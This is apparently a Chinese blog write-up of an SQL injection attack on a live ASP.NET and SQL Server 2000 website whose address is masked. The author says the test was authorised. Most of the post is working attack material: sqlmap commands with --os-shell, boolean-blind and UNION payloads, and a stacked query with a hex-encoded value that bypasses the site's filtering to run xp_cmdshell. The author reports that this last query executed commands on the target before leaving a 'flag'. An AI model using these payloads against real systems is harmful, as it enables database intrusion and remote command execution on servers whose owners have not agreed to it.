【sql server inject】使用动态查询执行sql语句实例

时间:2022-05-30 03:42:57

 

应某少年要求授权测试一个存在报错注入点的站点,可读取数据库名,但是sqlmap执行–os-shell选项就会莫名当掉; 
分步骤测试了几次,发现xp_cmdshell是开启状态,但用sqlmap注入却无法利用XP_cmdshell执行命令?

正好最近在读【SQL注入攻击与防御】,感觉这真是一个值得实践的好目标!

为了简化测试步骤,所以文章分为5次进行记录;

【sql server inject】使用动态查询执行sql语句实例

0x1 sqlmap常用语句测试

测试1目的:执行cmd命令
测试1结果,测试初期无法连接;

-----------------------------------------------------

     C:\Users\Administrator>sqlmap -u "http://www.****.com/Index/SearchResult.
aspx?KeyName=1&KeyWord=1"--level 5--risk 3--technique BST --batch --os-shell
回显数据包【LOG】文件
---
Parameter:KeyWord(GET)
Type:boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload:KeyName=1&KeyWord=1%' AND 1799=1799 AND '%'='
---
[00:26:38][INFO] the back-end DBMS isMicrosoft SQL Server
web server operating system:Windows2003or XP
web application technology: ASP.NET,Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS:Microsoft SQL Server2000
[00:26:38][CRITICAL] unable to prompt for an interactive operating system shell
via the back-end DBMS because stacked queries SQL injection isnot supported

 

测试2目的:执行获取数据库名;
测试2结果:获取成功,判断是某个关键字被过滤了。

-----------------------------------------------------
C:\Users\Administrator>sqlmap -u "http://www.****.com/Index/SearchResult.
aspx?KeyName=1&KeyWord=1" --level 5 --risk 3 --technique BST --batch --dbs

 回显数据包 【LOG】文件

---
Parameter: KeyWord (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: KeyName=1&KeyWord=1%' AND 1799=1799 AND '%'='
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
available databases [7]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] w**er

 

0x2 手工测试关键字过滤情况

测试3目的:获取数据库名
测试3结果:执行成功;

 -----------------------------------------------------

http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%' UNION ALL SELECT 1,DB_NAME(5),3,4,5 FROM master..sysdatabases-- -

 

测试4目的:查wooyundrops尝试手工输入sql语句利用xp_cmdshell执行命令
测试4结果:无法连接服务器,返回404页面;

 -----------------------------------------------------

 ;EXEC master..xp_cmdshell 'net user'-- -

 

测试5目的:尝试加入%符号到关键字中,输出关键字判断哪个关键字被过滤;
测试5结果:xp_cmdshell,sp_configure又没有过滤了?但是匹配到”’的时候,出现一个sql语句错误。应该是(’)单引号被解析到正常语句中了

-----------------------------------------------------
http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%' UNION ALL SELECT 1,‘xp
_shell’,3,4,5-- -

测试目标报出的错误;

    “/”应用程序中的服务器错误。
在关键字'And'附近有语法错误。
说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息:System.Exception:在关键字'And'附近有语法错误。

 

解决:尝试用declare设置十六进制绕过;
本地测试:

-------------------
    declare @a sysname
select@a=
exec master.dbo.xp_cmdshell @a

本地测试语句,其中【0x770068006F0061006D006900】解码后是【whoami】:

     SELECT TOP 2[id]
,[name]
FROM [personnel].[dbo].[management];declare @a sysname select@a=0x770068006F0061006D006900exec master.dbo.xp_cmdshell @a;

 

本地测试结果见tu1.jpg


【sql server inject】使用动态查询执行sql语句实例

测试结果:目标无回显,但执行写入文件的命令是成功了。

http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%’ ;declare @a sysname select @a=0x770068006F0061006D006900 exec master.dbo.xp_cmdshell @a;– -

 

【sql server inject】使用动态查询执行sql语句实例

留下旗标;
【sql server inject】使用动态查询执行sql语句实例